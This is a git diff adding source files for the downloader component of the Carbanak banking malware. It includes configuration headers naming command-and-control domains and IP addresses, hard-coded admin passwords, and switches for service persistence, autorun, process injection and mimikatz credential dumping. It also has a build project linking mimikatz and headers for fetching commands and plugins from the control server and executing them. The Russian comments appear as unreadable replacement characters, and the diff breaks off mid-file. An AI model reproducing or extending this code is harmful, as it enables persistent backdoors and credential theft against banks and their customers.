MASK_VIDEO_SERVER_IP "VIDEO_SERVER_IP"+//����� ��������� ����� �������:+//������: 0 - '1' - ��������� � ��������� ��������, '0' - � ��� �� ��������, ��� �������+// 1 - '1' - ��������� � ������ ������, '0' - ��� ������ ����� ����������� � ��������+// 2-6 - ����� ������� ����� ����������� ����������� �� ������� (5 ��������, �������� 60 �����: 00060)+const int MaxFlagsVideoServer = 32;+#define MASK_FLAGS_VIDEO_SERVER "FLAGS_VIDEO_SERVER"+//������ ��� ����������+const int MaxSizePasswordAdmin = 128;+#define MASK_ADMIN_PASSWORD "ADMIN_PASSWORD"+//������� ���+const int MaxSizePrefix = 32;+#define MASK_PREFIX_NAME "PREFIX_NAME"+//������ ������� (� ��������)+const int MaxSizePeriodConnect = 16;+#define MASK_PERIOD_CONTACT "PERIOD_CONTACT"+//��������� ������, ��� ���������� �������� ���������� ��������+#define MASK_RAND_STRING "RAND_STRING"+//������ ��������� ����� �������� ��������, ���� ������ ������������ ��� ����������� ������ � ���� ����+//�� �������� 12 � 14 ��������� ������������ ���������� ��������� �����, � �� 10 - ��������� ��������� �����+//���� ��������� ������������ ��� ������������� �����+const int MaxSizeRandVector = 16;+#define MASK_RAND_VECTOR "RAND_VECTOR"+//���������� �������� �������� ����������� ��������� ���������, � ������� ���������+const int CountStringOpcode = 4;+//��������� ��������� ��� ����+//������� 0: 1 - ������ ��� ���� ����������, 0 - �� ������ ���������� (����� ������ ��� �� ����� ��������)+const int MaxSizeMiscState = 32;+#define MASK_MISC_STATE "MISC_STATE"++#define BEG_ENCODE_STRING "BS"+#define END_ENCODE_STRING "ES"diff --git a/Malwares/Advanced Malware/Carbanak - part 2/downloader/config/debug/config.h b/Malwares/Advanced Malware/Carbanak - part 2/downloader/config/debug/config.hnew file mode 100644index 0000000..0620349--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/downloader/config/debug/config.h@@ -0,0 +1,40 @@+#pragma once++//����� ������+#include "..\builder.h"++//#define ADMIN_PANEL_HOSTS "85.25.84.223"+#define ADMIN_PANEL_HOSTS "qwqreererwere.com"+//#define ADMIN_PANEL_HOSTS "akamai-technologies.org"+#define ADMIN_AZ "admin_az"+#define USER_AZ "admin"+#define VIDEO_SERVER_IP "192.168.0.100:700"+//#define VIDEO_SERVER_IP "37.1.212.100:700"+//#define VIDEO_SERVER_IP "188.138.98.105:710"+//#define FLAGS_VIDEO_SERVER "0000005"+#define FLAGS_VIDEO_SERVER "1000005"+//#define ADMIN_PASSWORD "cbvhX3tJ0k8HwnMy"+#define ADMIN_PASSWORD "1234567812345678"+#define PREFIX_NAME "myt"+#define PERIOD_CONTACT "30"+#define MISC_STATE "1110"++//��������� ��� ���������� ������ �������+//��������� ��������� �������+//#define OFF_SERVICE+//#define OFF_SDPROP+//��������� ���������� � ���������� (� ��� ��� � ���� �����)+//#define OFF_AUTORUN+//��� ������� �� ����������� � ��������+//#define OFF_SVCHOST+//��� ���������� ������ (���������, ����) ������� � ����� c:\botdebug+#define ON_SENDDATA_FOLDER+//��� ������� ������� �� ����� c:\plugins+#define ON_PLUGINS_FOLDER+#define ON_VIDEOSERVER+//��� ������ �� ������������ ��������� (�� ���������� � ����)+#define NOT_EXPLORER+//����������� �����+//#define ON_IFOBS+//����������� ������� �� ��������� mimikatz+#define ON_MIMIKATZdiff --git a/Malwares/Advanced Malware/Carbanak - part 2/downloader/config/full/config.h b/Malwares/Advanced Malware/Carbanak - part 2/downloader/config/full/config.hnew file mode 100644index 0000000..c6b1011--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/downloader/config/full/config.h@@ -0,0 +1,35 @@+#pragma once++//������ �������� ������+#include "..\builder.h"++#define ADMIN_PANEL_HOSTS MASK_ADMIN_PANEL_HOSTS+#define ADMIN_AZ MASK_ADMIN_AZ+#define USER_AZ MASK_USER_AZ+#define VIDEO_SERVER_IP MASK_VIDEO_SERVER_IP+#define FLAGS_VIDEO_SERVER MASK_FLAGS_VIDEO_SERVER+#define ADMIN_PASSWORD MASK_ADMIN_PASSWORD+#define PREFIX_NAME MASK_PREFIX_NAME+#define PERIOD_CONTACT MASK_PERIOD_CONTACT+#define MISC_STATE MASK_MISC_STATE++//��������� ��� ���������� ������ �������+//��������� ��������� �������+//#define OFF_SERVICE+//#define OFF_SDPROP+//��������� ���������� � ���������� (� ��� ��� � ���� �����)+//#define OFF_AUTORUN+//��� ������� �� ����������� � ��������+//#define OFF_SVCHOST+//��� ���������� ������ (���������, ����) ������� � ����� c:\botdebug+//#define ON_SENDDATA_FOLDER+//��� ������� ������� �� ����� c:\plugins+//#define ON_PLUGINS_FOLDER++#define ON_VIDEOSERVER+//��� ������ �� ������������ ��������� (�� ���������� � ����)+#define NOT_EXPLORER+//����������� �����+//#define ON_IFOBS+//����������� ������� �� ��������� mimikatz+#define ON_MIMIKATZdiff --git a/Malwares/Advanced Malware/Carbanak - part 2/downloader/downloader.vcxproj b/Malwares/Advanced Malware/Carbanak - part 2/downloader/downloader.vcxprojnew file mode 100644index 0000000..b8f7d31--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/downloader/downloader.vcxproj@@ -0,0 +1,280 @@+<?xml version="1.0" encoding="utf-8"?>+<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">+ <ItemGroup Label="ProjectConfigurations">+ <ProjectConfiguration Include="Debug|Win32">+ <Configuration>Debug</Configuration>+ <Platform>Win32</Platform>+ </ProjectConfiguration>+ <ProjectConfiguration Include="Debug|x64">+ <Configuration>Debug</Configuration>+ <Platform>x64</Platform>+ </ProjectConfiguration>+ <ProjectConfiguration Include="Release debug string|Win32">+ <Configuration>Release debug string</Configuration>+ <Platform>Win32</Platform>+ </ProjectConfiguration>+ <ProjectConfiguration Include="Release debug string|x64">+ <Configuration>Release debug string</Configuration>+ <Platform>x64</Platform>+ </ProjectConfiguration>+ <ProjectConfiguration Include="Release|Win32">+ <Configuration>Release</Configuration>+ <Platform>Win32</Platform>+ </ProjectConfiguration>+ <ProjectConfiguration Include="Release|x64">+ <Configuration>Release</Configuration>+ <Platform>x64</Platform>+ </ProjectConfiguration>+ </ItemGroup>+ <PropertyGroup Label="Globals">+ <ProjectGuid>{1B454840-E496-4F27-AA18-439A4E97BCC6}</ProjectGuid>+ <Keyword>Win32Proj</Keyword>+ <RootNamespace>downloader</RootNamespace>+ </PropertyGroup>+ <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">+ <ConfigurationType>Application</ConfigurationType>+ <UseDebugLibraries>true</UseDebugLibraries>+ <PlatformToolset>v110</PlatformToolset>+ <CharacterSet>Unicode</CharacterSet>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">+ <ConfigurationType>Application</ConfigurationType>+ <UseDebugLibraries>true</UseDebugLibraries>+ <PlatformToolset>v110</PlatformToolset>+ <CharacterSet>Unicode</CharacterSet>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">+ <ConfigurationType>Application</ConfigurationType>+ <UseDebugLibraries>false</UseDebugLibraries>+ <PlatformToolset>v110_xp</PlatformToolset>+ <WholeProgramOptimization>true</WholeProgramOptimization>+ <CharacterSet>NotSet</CharacterSet>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">+ <ConfigurationType>Application</ConfigurationType>+ <UseDebugLibraries>false</UseDebugLibraries>+ <PlatformToolset>v110_xp</PlatformToolset>+ <WholeProgramOptimization>true</WholeProgramOptimization>+ <CharacterSet>NotSet</CharacterSet>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release debug string|Win32'" Label="Configuration">+ <ConfigurationType>Application</ConfigurationType>+ <UseDebugLibraries>false</UseDebugLibraries>+ <PlatformToolset>v110_xp</PlatformToolset>+ <WholeProgramOptimization>true</WholeProgramOptimization>+ <CharacterSet>NotSet</CharacterSet>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release debug string|x64'" Label="Configuration">+ <ConfigurationType>Application</ConfigurationType>+ <UseDebugLibraries>false</UseDebugLibraries>+ <PlatformToolset>v110_xp</PlatformToolset>+ <WholeProgramOptimization>true</WholeProgramOptimization>+ <CharacterSet>NotSet</CharacterSet>+ </PropertyGroup>+ <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />+ <ImportGroup Label="ExtensionSettings">+ </ImportGroup>+ <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />+ </ImportGroup>+ <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />+ </ImportGroup>+ <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />+ </ImportGroup>+ <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />+ </ImportGroup>+ <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release debug string|Win32'" Label="PropertySheets">+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />+ </ImportGroup>+ <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release debug string|x64'" Label="PropertySheets">+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />+ </ImportGroup>+ <PropertyGroup Label="UserMacros" />+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">+ <LinkIncremental>true</LinkIncremental>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">+ <LinkIncremental>true</LinkIncremental>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">+ <LinkIncremental>false</LinkIncremental>+ <OutDir>$(SolutionDir)\bin\$(Configuration)\</OutDir>+ <IntDir>$(SolutionDir)objs\$(Configuration)\$(ProjectName)\</IntDir>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">+ <LinkIncremental>false</LinkIncremental>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release debug string|Win32'">+ <LinkIncremental>false</LinkIncremental>+ <OutDir>$(SolutionDir)\bin\$(Configuration)\</OutDir>+ <IntDir>$(SolutionDir)objs\$(Configuration)\$(ProjectName)\</IntDir>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release debug string|x64'">+ <LinkIncremental>false</LinkIncremental>+ </PropertyGroup>+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">+ <ClCompile>+ <PrecompiledHeader>+ </PrecompiledHeader>+ <WarningLevel>Level3</WarningLevel>+ <Optimization>Disabled</Optimization>+ <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions)</PreprocessorDefinitions>+ </ClCompile>+ <Link>+ <SubSystem>Windows</SubSystem>+ <GenerateDebugInformation>true</GenerateDebugInformation>+ </Link>+ </ItemDefinitionGroup>+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">+ <ClCompile>+ <PrecompiledHeader>+ </PrecompiledHeader>+ <WarningLevel>Level3</WarningLevel>+ <Optimization>Disabled</Optimization>+ <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions)</PreprocessorDefinitions>+ </ClCompile>+ <Link>+ <SubSystem>Windows</SubSystem>+ <GenerateDebugInformation>true</GenerateDebugInformation>+ </Link>+ </ItemDefinitionGroup>+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">+ <ClCompile>+ <WarningLevel>Level3</WarningLevel>+ <PrecompiledHeader>NotUsing</PrecompiledHeader>+ <Optimization>MinSpace</Optimization>+ <FunctionLevelLinking>true</FunctionLevelLinking>+ <IntrinsicFunctions>true</IntrinsicFunctions>+ <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;ON_CODE_STRING;WINAPI_INVISIBLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>+ <AdditionalIncludeDirectories>include;..\core\include;config\full</AdditionalIncludeDirectories>+ <MultiProcessorCompilation>true</MultiProcessorCompilation>+ <InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>+ <FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>+ <StringPooling>true</StringPooling>+ <ExceptionHandling>false</ExceptionHandling>+ <BufferSecurityCheck>false</BufferSecurityCheck>+ <RuntimeTypeInfo>false</RuntimeTypeInfo>+ <AssemblerOutput>All</AssemblerOutput>+ </ClCompile>+ <Link>+ <SubSystem>Windows</SubSystem>+ <GenerateDebugInformation>false</GenerateDebugInformation>+ <EnableCOMDATFolding>true</EnableCOMDATFolding>+ <OptimizeReferences>true</OptimizeReferences>+ <AdditionalLibraryDirectories>$(SolutionDir)bin\$(Configuration)\;..\lib\x86</AdditionalLibraryDirectories>+ <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;core.lib;wndrec.lib;ntdll.lib;Shlwapi.lib;urlmon.lib;Ws2_32.lib;Crypt32.lib;Iphlpapi.lib;gdiplus.lib;cabinet.lib;Psapi.lib;mimikatz.lib;Imagehlp.lib;netapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>+ <IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>+ <EntryPointSymbol>main</EntryPointSymbol>+ </Link>+ </ItemDefinitionGroup>+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">+ <ClCompile>+ <WarningLevel>Level3</WarningLevel>+ <PrecompiledHeader>NotUsing</PrecompiledHeader>+ <Optimization>MinSpace</Optimization>+ <FunctionLevelLinking>true</FunctionLevelLinking>+ <IntrinsicFunctions>true</IntrinsicFunctions>+ <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;ON_CODE_STRING;WINAPI_INVISIBLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>+ <AdditionalIncludeDirectories>include;..\core\include;config\full</AdditionalIncludeDirectories>+ <MultiProcessorCompilation>true</MultiProcessorCompilation>+ <InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>+ <FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>+ <StringPooling>true</StringPooling>+ <ExceptionHandling>false</ExceptionHandling>+ <BufferSecurityCheck>false</BufferSecurityCheck>+ <RuntimeTypeInfo>false</RuntimeTypeInfo>+ <AssemblerOutput>All</AssemblerOutput>+ </ClCompile>+ <Link>+ <SubSystem>Windows</SubSystem>+ <GenerateDebugInformation>false</GenerateDebugInformation>+ <EnableCOMDATFolding>true</EnableCOMDATFolding>+ <OptimizeReferences>true</OptimizeReferences>+ <AdditionalLibraryDirectories>$(SolutionDir)bin\$(Configuration)\;..\lib\x86</AdditionalLibraryDirectories>+ <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;core.lib;wndrec.lib;ntdll.lib;Shlwapi.lib;urlmon.lib;Ws2_32.lib;Crypt32.lib;Iphlpapi.lib;gdiplus.lib;cabinet.lib;Psapi.lib;mimikatz.lib;Imagehlp.lib;netapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>+ <IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>+ <EntryPointSymbol>main</EntryPointSymbol>+ </Link>+ </ItemDefinitionGroup>+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release debug string|Win32'">+ <ClCompile>+ <WarningLevel>Level3</WarningLevel>+ <PrecompiledHeader>NotUsing</PrecompiledHeader>+ <Optimization>MinSpace</Optimization>+ <FunctionLevelLinking>true</FunctionLevelLinking>+ <IntrinsicFunctions>true</IntrinsicFunctions>+ <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;DEBUG_STRINGS;WINAPI_INVISIBLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>+ <AdditionalIncludeDirectories>include;..\core\include;config\debug</AdditionalIncludeDirectories>+ <MultiProcessorCompilation>true</MultiProcessorCompilation>+ <InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>+ <FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>+ <StringPooling>true</StringPooling>+ <ExceptionHandling>false</ExceptionHandling>+ <BufferSecurityCheck>false</BufferSecurityCheck>+ <RuntimeTypeInfo>false</RuntimeTypeInfo>+ <AssemblerOutput>All</AssemblerOutput>+ </ClCompile>+ <Link>+ <SubSystem>Windows</SubSystem>+ <GenerateDebugInformation>false</GenerateDebugInformation>+ <EnableCOMDATFolding>true</EnableCOMDATFolding>+ <OptimizeReferences>true</OptimizeReferences>+ <AdditionalLibraryDirectories>$(SolutionDir)bin\$(Configuration)\;..\lib\x86</AdditionalLibraryDirectories>+ <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;core.lib;wndrec.lib;ntdll.lib;Shlwapi.lib;urlmon.lib;Ws2_32.lib;Crypt32.lib;Iphlpapi.lib;gdiplus.lib;cabinet.lib;Psapi.lib;mimikatz.lib;Imagehlp.lib;netapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>+ <IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>+ <EntryPointSymbol>main</EntryPointSymbol>+ </Link>+ </ItemDefinitionGroup>+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release debug string|x64'">+ <ClCompile>+ <WarningLevel>Level3</WarningLevel>+ <PrecompiledHeader>NotUsing</PrecompiledHeader>+ <Optimization>MinSpace</Optimization>+ <FunctionLevelLinking>true</FunctionLevelLinking>+ <IntrinsicFunctions>true</IntrinsicFunctions>+ <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;DEBUG_STRINGS;WINAPI_INVISIBLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>+ <AdditionalIncludeDirectories>include;..\core\include;config\debug</AdditionalIncludeDirectories>+ <MultiProcessorCompilation>true</MultiProcessorCompilation>+ <InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>+ <FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>+ <StringPooling>true</StringPooling>+ <ExceptionHandling>false</ExceptionHandling>+ <BufferSecurityCheck>false</BufferSecurityCheck>+ <RuntimeTypeInfo>false</RuntimeTypeInfo>+ <AssemblerOutput>All</AssemblerOutput>+ </ClCompile>+ <Link>+ <SubSystem>Windows</SubSystem>+ <GenerateDebugInformation>false</GenerateDebugInformation>+ <EnableCOMDATFolding>true</EnableCOMDATFolding>+ <OptimizeReferences>true</OptimizeReferences>+ <AdditionalLibraryDirectories>$(SolutionDir)bin\$(Configuration)\;..\lib\x86</AdditionalLibraryDirectories>+ <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;core.lib;wndrec.lib;ntdll.lib;Shlwapi.lib;urlmon.lib;Ws2_32.lib;Crypt32.lib;Iphlpapi.lib;gdiplus.lib;cabinet.lib;Psapi.lib;mimikatz.lib;Imagehlp.lib;netapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>+ <IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>+ <EntryPointSymbol>main</EntryPointSymbol>+ </Link>+ </ItemDefinitionGroup>+ <ItemGroup>+ <ClInclude Include="config\builder.h" />+ <ClInclude Include="config\debug\config.h" />+ <ClInclude Include="config\full\config.h" />+ <ClInclude Include="include\adminka.h" />+ <ClInclude Include="include\main.h" />+ <ClInclude Include="include\service.h" />+ <ClInclude Include="include\task.h" />+ </ItemGroup>+ <ItemGroup>+ <ClCompile Include="source\adminka.cpp" />+ <ClCompile Include="source\config.cpp" />+ <ClCompile Include="source\main.cpp" />+ <ClCompile Include="source\service.cpp" />+ <ClCompile Include="source\task.cpp" />+ </ItemGroup>+ <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />+ <ImportGroup Label="ExtensionTargets">+ </ImportGroup>+</Project>\ No newline at end of filediff --git a/Malwares/Advanced Malware/Carbanak - part 2/downloader/downloader.vcxproj.filters b/Malwares/Advanced Malware/Carbanak - part 2/downloader/downloader.vcxproj.filtersnew file mode 100644index 0000000..983955e--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/downloader/downloader.vcxproj.filters@@ -0,0 +1,60 @@+<?xml version="1.0" encoding="utf-8"?>+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">+ <ItemGroup>+ <Filter Include="config">+ <UniqueIdentifier>{342712ea-a8c4-41cf-851e-7c2e3b6b4e1c}</UniqueIdentifier>+ </Filter>+ <Filter Include="include">+ <UniqueIdentifier>{a0f25558-313a-47a8-8cbd-4b1cd5f05ed7}</UniqueIdentifier>+ </Filter>+ <Filter Include="source">+ <UniqueIdentifier>{f91942d8-16bf-4c2a-874f-cae6f29082f2}</UniqueIdentifier>+ </Filter>+ <Filter Include="config\debug">+ <UniqueIdentifier>{44d85f42-bda1-4e22-acfc-98e8338d4e67}</UniqueIdentifier>+ </Filter>+ <Filter Include="config\full">+ <UniqueIdentifier>{0349b7d6-ff2c-448b-9eab-25daac195708}</UniqueIdentifier>+ </Filter>+ </ItemGroup>+ <ItemGroup>+ <ClInclude Include="config\debug\config.h">+ <Filter>config\debug</Filter>+ </ClInclude>+ <ClInclude Include="config\full\config.h">+ <Filter>config\full</Filter>+ </ClInclude>+ <ClInclude Include="config\builder.h">+ <Filter>config</Filter>+ </ClInclude>+ <ClInclude Include="include\main.h">+ <Filter>include</Filter>+ </ClInclude>+ <ClInclude Include="include\task.h">+ <Filter>include</Filter>+ </ClInclude>+ <ClInclude Include="include\adminka.h">+ <Filter>include</Filter>+ </ClInclude>+ <ClInclude Include="include\service.h">+ <Filter>include</Filter>+ </ClInclude>+ </ItemGroup>+ <ItemGroup>+ <ClCompile Include="source\main.cpp">+ <Filter>source</Filter>+ </ClCompile>+ <ClCompile Include="source\config.cpp">+ <Filter>source</Filter>+ </ClCompile>+ <ClCompile Include="source\task.cpp">+ <Filter>source</Filter>+ </ClCompile>+ <ClCompile Include="source\adminka.cpp">+ <Filter>source</Filter>+ </ClCompile>+ <ClCompile Include="source\service.cpp">+ <Filter>source</Filter>+ </ClCompile>+ </ItemGroup>+</Project>\ No newline at end of filediff --git a/Malwares/Advanced Malware/Carbanak - part 2/downloader/include/adminka.h b/Malwares/Advanced Malware/Carbanak - part 2/downloader/include/adminka.hnew file mode 100644index 0000000..3108648--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/downloader/include/adminka.h@@ -0,0 +1,35 @@+#include "core\core.h"+#include "core\debug.h"++namespace AdminPanel+{++const int DEF = 0; //������� �������++bool Init();+void Release();++//���������� ���� ������� �������+//type - 0 Config::Hosts (������� �������), 1 - Config::HostsAZ (������� AZ)+bool GetHostAdmin( int type, StringBuilder& host );+//���������� ����� ������� �� �������+bool GetCmd( StringBuilder& cmd );+//������� ������ ������, � dst ����� � �������� ���� IV (8 ����) + ����������� ������+bool EncryptToBin( const void* data, int c_data, Mem::Data& dst );+inline bool EncryptToBin( const Mem::Data& src, Mem::Data& dst )+{+ return EncryptToBin( src.Ptr(), src.Len(), dst );+}+//������� ������ ������ � ��������� �� � base64 � ������� ��������� ��������, � dst ����� IV + ����������� ������ � base64 (������ ����� ������)+bool EncryptToText( const void* data, int c_data, StringBuilder& dst );+inline bool EncryptToText( const Mem::Data& src, StringBuilder& dst )+{+ return EncryptToText( src.Ptr(), src.Len(), dst );+}+//�������������� ������+bool Decrypt( const Mem::Data& src, Mem::Data& dst );++bool LoadPlugin( const char* namePlugin, Mem::Data& plugin );+bool LoadFile( const char* url, Mem::Data& data );++}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/downloader/include/main.h b/Malwares/Advanced Malware/Carbanak - part 2/downloader/include/main.hnew file mode 100644index 0000000..7343e0b--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/downloader/include/main.h@@ -0,0 +1,51 @@+#pragma once++#include "core\core.h"+#include "config.h"++//����������� ���� ��� state+const int NOT_DIRECT_INJECT = 0x0001; //������ ��������� ������ ������ � �������+const int NOT_USED_INJECT = 0x0002; //������� ��������� ������+const int NOT_INSTALL_SERVICE = 0x0004; //�� ��������������� ��� ������+const int NOT_INSTALL_AUTORUN = 0x0008; //�� ��������������� � ������������+const int EXTERN_NAME_MANAGER = 0x0010; //��� ������ ��� ��������� �� ���������, � ����� �� Config::nameManager+const int IS_DLL = 0x0020; //�������� ��� ���+const int IS_SERVICE = 0x0040; //������� ��� ������+const int RUNNED_DUBLICATION = 0x0080; //�������� 2-� �����+const int SPLOYTY_OFF = 0x0100; //�� ��������� ������+const int RUNNED_UPDATE = 0x0200; //������� ����� ������� �������� ����������+const int CHECK_DUPLICATION = 0x0400; //�������� �� ������ ����� (2-� ����� ������������� � ��������� ������)+const int PLUGINS_SERVER = 0x0800; //������� ����� � ������� (������������� ��������)++namespace Config+{++extern char PeriodConnect[MaxSizePeriodConnect];+extern char Hosts[MaxSizeHostAdmin];+extern char Password[MaxSizePasswordAdmin];++extern char UID[32];+extern char XorMask[32];+extern int waitPeriod; //������� ����� �� ���������� ������� � �������������++extern char fileNameBot[MAX_PATH]; //��� ���������������� ����� ����, ����������� ��� ������ ��� ��� ���������� (��� ���������� ����� ����������� ���������)+extern char nameService[64]; //��� �������, ���� ������� ��� ������++extern uint state; //��������� ���������++bool Init();++StringBuilder& NameBotExe( StringBuilder& name );+StringBuilder& FullNameBotExe( StringBuilder& path );++bool CreateMutex();+void ReleaseMutex();+//���������� ����� � ������� ��������� ������� ����� ����, � path ������ ���� ����������� ���������� �����+//���� ������ addFolder, �� � ���� ����������� ��������� ����� (���� �����, �� � ���������).+//cryptAddFolder = true, �� addFolder ���������+bool GetBotFolder( StringBuilder& path, const char* addFolder = 0, bool cryptAddFolder = false );++}++//�������� ������+bool StartBot();\ No newline at end of filediff --git a/Malwares/Advanced Malware/Carbanak - part 2/downloader/include/service.h b/Malwares/Advanced Malware/Carbanak - part 2/downloader/include/service.hnew file mode 100644index 0000000..d89ca52--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/downloader/include/service.h@@ -0,0 +1,21 @@+#pragma once++#include "core\core.h"+#include "core\service.h"++namespace Service+{+ //������������� ������ � �������, ���� copyFile = flase, �� ���� srcFile �� ���������� � ������ ����� (���� ��� �����������)+ bool Install( const StringBuilder& srcFile, bool copyFile = true );+ //�������� ���� � � ���� �������+ bool Copy( const StringBuilder& srcFile );+// bool Copy( const Mem::Data& data );+ bool Start(); //��������� ������������� ������+ bool IsService( const StringBuilder& fileName ); //�������� �� ��������� ���� ������ �������+ //���������� ������ ��������, ����������� ������ ����� ������ �������+ LPENUM_SERVICE_STATUS_PROCESS GetListServices( int& countServices );+ //������� ��������� ������, � ��� ����� � ����, ���� �������+ bool DeleteWithFile( const StringBuilder& name, bool delFile = true );+ //��� ����� ��� ������� �������� ��� ��� ������� ��������+ bool GetFileNameService( StringBuilder& fileName );+}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/downloader/include/task.h b/Malwares/Advanced Malware/Carbanak - part 2/downloader/include/task.hnew file mode 100644index 0000000..08d4ec9--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/downloader/include/task.h@@ -0,0 +1,18 @@+#pragma once++#include "core\core.h"+#include "core\pipe.h"++//���������� ������++namespace Task+{++bool Init();++//���������� ������� cmd.+//len ����� ����������� �������+//������� ��������� ���������� ������� � ��������� ������+bool ExecCmd( const char* cmd, int len );++}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/downloader/source/adminka.cpp b/Malwares/Advanced Malware/Carbanak - part 2/downloader/source/adminka.cppnew file mode 100644index 0000000..08081e4--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/downloader/source/adminka.cpp@@ -0,0 +1,349 @@+#include "core\core.h"+#include "core\socket.h"+#include "core\rand.h"+#include "core\crypt.h"+#include "core\http.h"+#include "core\file.h"+#include "main.h"+#include "adminka.h"++namespace AdminPanel+{++int numAdmin; // current admin number++const int 